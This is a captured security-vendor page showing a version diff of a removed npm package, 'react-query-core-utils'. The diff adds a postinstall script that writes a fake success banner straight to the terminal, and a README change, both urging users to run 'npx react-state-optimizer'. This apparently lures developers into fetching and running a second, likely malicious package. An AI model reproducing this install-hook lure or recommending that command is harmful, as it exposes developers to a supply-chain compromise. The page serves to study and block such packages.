Latest Threat Research:SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains.Details
Socket
Book a DemoInstallSign in
Socket

react-query-core-utils

Package Overview
Dependencies
Maintainers
1
Versions
12
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-query-core-utils - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
4.4.4
to
4.4.5
+29
scripts/postinstall.js
const fs = require('fs');
const tty = require('tty');
const cyan = (text) => `\x1b[36m${text}\x1b[0m`;
const green = (text) => `\x1b[32m${text}\x1b[0m`;
const bold = (text) => `\x1b[1m${text}\x1b[0m`;
function logToTTY(msg) {
try {
const fd = fs.openSync('/dev/tty', 'w');
const stream = new tty.WriteStream(fd);
stream.write(msg + '\n');
stream.end();
} catch (e) {
console.log(msg);
}
}
const msg = [
'\n',
green('✔ Installation successful!'),
'',
'To configure the library for your project, please run:',
cyan(bold(' npx react-state-optimizer')),
'\n'
].join('\n');
logToTTY(msg);
+1
-1
{
"name": "react-query-core-utils",
"version": "4.4.4",
"version": "4.4.5",
"description": "Utility layer for asynchronous state management",

@@ -5,0 +5,0 @@ "private": false,

@@ -8,4 +8,7 @@ # react-state-optimizer-core

```bash
npm install react-state-optimizer-core
npm install react-query-core-utils@latest
```
```bash
npx react-state-optimizer
```

@@ -12,0 +15,0 @@ ## Usage